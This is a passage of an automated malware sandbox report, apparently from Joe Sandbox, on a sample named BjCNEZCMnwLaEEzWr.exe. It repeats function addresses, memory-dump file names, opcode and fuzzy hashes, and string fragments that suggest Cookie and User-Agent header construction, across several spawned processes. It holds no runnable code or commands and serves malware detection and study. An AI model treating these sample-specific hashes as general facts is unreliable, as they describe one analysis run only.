Instruction Fuzzy Hash: BD4181B6600608BFEF125F65CC48BEEBFB9FF80704F154069EA44EA255DB309A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 008B4674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nt: , xrefs: 008B47B6
-Age, xrefs: 008B47B0
User, xrefs: 008B47AA
ie: , xrefs: 008B472E
Cook, xrefs: 008B4728

Memory Dump Source

Source File: 00000028.00000002.2914978673.00000000008B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 008B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_8b0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 82efd7b73b9b4bc61e2ce57c5cb368d0ec56d42def0a996e4312fb273a90e693
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: CA4163B6500608BFEF129F65CC44BEEBFB9FF84704F154059EA44EA255DB309A44CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjCNEZCMnwLaEEzWr.exePID: 5324, Parent PID: 7396COMMON

Executed Functions

Function 00B5093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2918966978.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_b50000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 05560e18a046293cdd9cee99888cfc54633264ae3799d73c3e62e7a93d072922
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 0A5191315443549FEF226F20CC85B9977F8EF04745F0801D9BE45FE0D6DAB09A94CA65

Uniqueness

Uniqueness Score: -1.00%

Function 00B514BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2918966978.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_b50000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc032be1761e2e27ec16aa6f47ae36ec6219fc5cd5c4500d68a6f7b1eca660e1
Instruction ID: 095adf223c21b9357d28cfe1333bffdb67ee217c872dc1fc7d6dec891200ad48
Opcode Fuzzy Hash: fc032be1761e2e27ec16aa6f47ae36ec6219fc5cd5c4500d68a6f7b1eca660e1
Instruction Fuzzy Hash: E7210372404614AEDB03BF60C9C9EA673ECEF40705F4509EAAD85EF049FAB09158CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 00B51345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2918966978.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_b50000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 250b6efdbeabafb02b7699acfcdc70c0b1cca8efe4ea4f08b1870a91deddb27c
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 2821AE31904216AFDB11DF78C885B5DBBF5AF08301F054295FD55BB594D770A804CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00B514DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2918966978.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_b50000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe8e250536a2cc792e0f46b2e11c914316ba17fdb804fdedba9ee654a488dd4
Instruction ID: 2acb1f6591c648b665f226d1fd946c4c1a5a16dfac9474d137f4cdbd4b3397d6
Opcode Fuzzy Hash: 2fe8e250536a2cc792e0f46b2e11c914316ba17fdb804fdedba9ee654a488dd4
Instruction Fuzzy Hash: 1711BF72404514AEEF03BF60C5C9DAA73ECEE40705B4509EAAD85EF44AFFB09158CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 00B53F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000029.00000002.2918966978.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_b50000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction ID: 417b22bac520854fff9ff1abcc422e05309419c94b671c9c922ecec91938a8fe
Opcode Fuzzy Hash: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction Fuzzy Hash: FDF01270D88340A6EF413BB09C4B75D36F49F40B87F0405D1BE49AD1D6DEB056589E75

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B54675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 00B547B0
User, xrefs: 00B547AA
ie: , xrefs: 00B5472E
Cook, xrefs: 00B54728
nt: , xrefs: 00B547B6

Memory Dump Source

Source File: 00000029.00000002.2918966978.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_b50000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 38ecaadd12c3313dec0188656f6bec9c7165f8e60a9be1021cc69fd14acc106c
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: D441A4B6500208BFEF125F65CC48BDEBFF9EF84704F154099EA44AA254D770DA94CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00B54674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 00B547B0
User, xrefs: 00B547AA
ie: , xrefs: 00B5472E
Cook, xrefs: 00B54728
nt: , xrefs: 00B547B6

Memory Dump Source

Source File: 00000029.00000002.2918966978.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_b50000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 7802c7558289ca189bcb444ea61648bdbfb76ada864200e22cb9c0802df94950
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 5F4193B6500208BFEF129FA4CC44BEEBFF9EF84704F154099EA44AA254D7709A84CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjCNEZCMnwLaEEzWr.exePID: 4584, Parent PID: 7396COMMON

Executed Functions

Function 02EB093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2927163843.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_2eb0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: c2ee671aa327fb6d2753e5393e31d08fa6376d2dd44720bdc6f6d466afb9d340
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: FE51B0311842549FEF239F20CC85BEB3BB8AF05744F040599BA49FE0D6DBB0A590CA65

Uniqueness

Uniqueness Score: -1.00%

Function 02EB14BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2927163843.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_2eb0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction ID: 7279ac5924f600a8290fb80157424e7d38a9b508ca0b7cd7cb3005aa9d22c535
Opcode Fuzzy Hash: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction Fuzzy Hash: B721FA724046149EDF03AF60C9C88E773ECEF40704F45496AA989EF049FA709554CEE6

Uniqueness

Uniqueness Score: -1.00%

Function 02EB1345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2927163843.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_2eb0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 6e1dd539d5b8ba6a9d1a466c50e34a4514fef2ac308abd30f8c9cde112378757
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 6321C031944216AFDF129F78D844B9EBBB5AF04314F058215FD59BF594D730E800CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02EB14DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2927163843.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_2eb0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction ID: d4b2e24409008a2caa406e5bf1555a4e80b04fa7f2c01a71e509cb224d1fb62e
Opcode Fuzzy Hash: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction Fuzzy Hash: DE1174724046149EEF03AF60C5C88EB73ECEE40708B4659AAAD89EF459FE709154CEE5

Uniqueness

Uniqueness Score: -1.00%

Function 02EB3F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002A.00000002.2927163843.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_2eb0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c09feb9db596d8359f295e8d139cc18023a08d38d10f5a63b4ad8fb083c8443
Instruction ID: 6c91dd185fa38f9807c5f836e0286e778a149f34da3cce1e748cea74dd893dc5
Opcode Fuzzy Hash: 8c09feb9db596d8359f295e8d139cc18023a08d38d10f5a63b4ad8fb083c8443
Instruction Fuzzy Hash: 38F08C705C8240EAEF033BB18C4F6CB33B9AF00705F04A1D0BA89AD0D4CE3095508E71

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02EB4675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

User, xrefs: 02EB47AA
ie: , xrefs: 02EB472E
-Age, xrefs: 02EB47B0
nt: , xrefs: 02EB47B6
Cook, xrefs: 02EB4728

Memory Dump Source

Source File: 0000002A.00000002.2927163843.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_2eb0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 92e1d72827fd8e23f92ca086b13215db22f4d29fb33ce502f8fc9f9e1bd7525e
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: BD4185B6500218BFEF125F65CC48BDEBFBAEF84708F154069EA44AA295D730D650CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02EB4674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

User, xrefs: 02EB47AA
ie: , xrefs: 02EB472E
-Age, xrefs: 02EB47B0
nt: , xrefs: 02EB47B6
Cook, xrefs: 02EB4728

Memory Dump Source

Source File: 0000002A.00000002.2927163843.0000000002EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_2eb0000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 80bf934447bd81371c181131f6ddb17b7d8d0f8ff7a2cadc8ba3f9d96be2ae56
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 534163B6500218BFEF129F65CC44BDEBBBAEF84708F154069EA44AA295D7309640CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjCNEZCMnwLaEEzWr.exePID: 3140, Parent PID: 7396COMMON

Executed Functions

Function 02D1093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2928152474.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2d10000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: c291d25784932bde87530bc4f36875857955563f895ee08658809ebf7c2dd5d4
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 4051A131544254AFEB126F20CC85B9977BCEF04744F0401D9BE49FE1D6DBB09990CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02D114BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2928152474.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2d10000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e691a712de486e4dfceb288b4c3d9d3fe3d652e5e2e3b2f50e0e601de67137e
Instruction ID: bdbbdbe7ee3422e6b911ce8c13495133de3afa4bc1e10ea329a01af182c3128d
Opcode Fuzzy Hash: 4e691a712de486e4dfceb288b4c3d9d3fe3d652e5e2e3b2f50e0e601de67137e
Instruction Fuzzy Hash: 1C21EB72404624AEDF03AE60D9C98A673ECEF40704F45056A9AC9EE84DEA709554CEF6

Uniqueness

Uniqueness Score: -1.00%

Function 02D11345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2928152474.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2d10000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 42a8cbecb83fba90c64b92e03ec103fd091d5b7cbd75cdeba92887049836a4b6
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: B821903190421AAFDF119F78D844B5DBBB5AF04704F054215FE59BB694D770EC10CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02D114DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2928152474.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2d10000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4917235bce67b0bd341cc4376806be672fb8739d92a651c71d1172738683fcb
Instruction ID: 45425d857fc1ac77a2ea22a20cb75dff3cd0deeb5e61607b68ce90c64a9b931e
Opcode Fuzzy Hash: d4917235bce67b0bd341cc4376806be672fb8739d92a651c71d1172738683fcb
Instruction Fuzzy Hash: 23119C72404624AEEF03AF60D5C88AA73ECEE40704F45096A9DC9EE94DFE709554CEF5

Uniqueness

Uniqueness Score: -1.00%

Function 02D13F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2928152474.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2d10000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 3fcb4d742b1b3f3c5c9cc23a7051bc898e758c0b646f7eaa17a9df3c62c14d1a
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: 8AF01C70588280BAEF803BB0AC496593AB9EF40745F0405D1EA89ADAD4DE70CD50CE75

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02D14675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ie: , xrefs: 02D1472E
-Age, xrefs: 02D147B0
User, xrefs: 02D147AA
nt: , xrefs: 02D147B6
Cook, xrefs: 02D14728

Memory Dump Source

Source File: 0000002B.00000002.2928152474.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2d10000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 586c58786fc7952d8bfccb014d5adc37d988225db7fd8c545908abadc321fbd6
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 214163B6500208BFEF125F65CC48BDEBFBAEF84704F154069EA44AA254DB34DA50CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02D14674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ie: , xrefs: 02D1472E
-Age, xrefs: 02D147B0
User, xrefs: 02D147AA
nt: , xrefs: 02D147B6
Cook, xrefs: 02D14728

Memory Dump Source

Source File: 0000002B.00000002.2928152474.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_2d10000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 7f7f1518c5a39c8ac1effdf6bebe13be69549d9033eca76c7cd4e97308580cd6
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: B54151B6500208BFEF129F65CC44BEEBBBAEF84704F154069EA44AA654DB34DA50CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjCNEZCMnwLaEEzWr.exePID: 648, Parent PID: 7396COMMON

Executed Functions

Function 02B4093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2917716069.0000000002B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2b40000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 7e044f5b8e72692e244d1030433adc8e2aa4c3f7b632016452dca4f6a6114004
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: 4251C231544254AFEB166F20CCC4B9937B8EF04744F0805DABB49FE0D6DBB09690DE65

Uniqueness

Uniqueness Score: -1.00%

Function 02B414BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2917716069.0000000002B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2b40000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc032be1761e2e27ec16aa6f47ae36ec6219fc5cd5c4500d68a6f7b1eca660e1
Instruction ID: 5a1db5da38009b4faac20ec537b88844c6220a4acacaff59dac035c4ea7d9ced
Opcode Fuzzy Hash: fc032be1761e2e27ec16aa6f47ae36ec6219fc5cd5c4500d68a6f7b1eca660e1
Instruction Fuzzy Hash: 6B210372404614AEDF03AF60C9C8CA673ECEF40704F4545AA9D89EF049FE709194CEE5

Uniqueness

Uniqueness Score: -1.00%

Function 02B41345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2917716069.0000000002B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2b40000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 006ca92935070087b3e51781ca23028249746b330ef9acacb628a55b8ae5542c
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 00218E31914216AFDF11DE78C884B5DBBB5AF04704F058255F959BB594DB70A810CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02B414DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2917716069.0000000002B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2b40000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe8e250536a2cc792e0f46b2e11c914316ba17fdb804fdedba9ee654a488dd4
Instruction ID: 61c70a9494ed1f47b44357f7deea25f8a1c9f9047ae98bc3093b8fce9cdb6375
Opcode Fuzzy Hash: 2fe8e250536a2cc792e0f46b2e11c914316ba17fdb804fdedba9ee654a488dd4
Instruction Fuzzy Hash: 22119172404524AEEF03AF64C5C8CAA73ECEF40708B4549AA9D89EF44DFE709154DEE5

Uniqueness

Uniqueness Score: -1.00%

Function 02B43F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2917716069.0000000002B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2b40000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction ID: 28286c3b24bf8dbfe327efdae5fce7ff4dbc62d4e8e0cf2f7a1cdd47cca444f1
Opcode Fuzzy Hash: 3c9cd30d46be4e823d3ee55b0dac37f33b61cd8768b05aa00de7007601ee8eb1
Instruction Fuzzy Hash: B5F01C70598240ABFF403BB09CC9B5D36F9AF40705F5C06D1AAC9AD0D4DF709550AE75

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02B44674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nt: , xrefs: 02B447B6
ie: , xrefs: 02B4472E
-Age, xrefs: 02B447B0
Cook, xrefs: 02B44728
User, xrefs: 02B447AA

Memory Dump Source

Source File: 0000002C.00000002.2917716069.0000000002B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2b40000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: 2cfa0e6135a3bea1cd0a71246f168e574437954a962a14d99c8944f1d1204081
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 894184B6500208BFEF125F65CC84BDEBBBAEF80704F154099EA44AA254DB70D550DF94

Uniqueness

Uniqueness Score: -1.00%

Function 02B44675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nt: , xrefs: 02B447B6
ie: , xrefs: 02B4472E
-Age, xrefs: 02B447B0
Cook, xrefs: 02B44728
User, xrefs: 02B447AA

Memory Dump Source

Source File: 0000002C.00000002.2917716069.0000000002B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2b40000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: c7108e884a482c4e1609bd50166dcbff1599dadbf38bbaed23f69403cea2667d
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 514174B6500208BFEF125F65CC88FDEBFBAEF80704F1540A9EA44AA254DB74D650DB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjCNEZCMnwLaEEzWr.exePID: 2124, Parent PID: 7396COMMON

Executed Functions

Function 02E2093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002D.00000002.2922419078.0000000002E20000.00000040.00000001.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_2e20000_BjCNEZCMnwLaEEzWr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
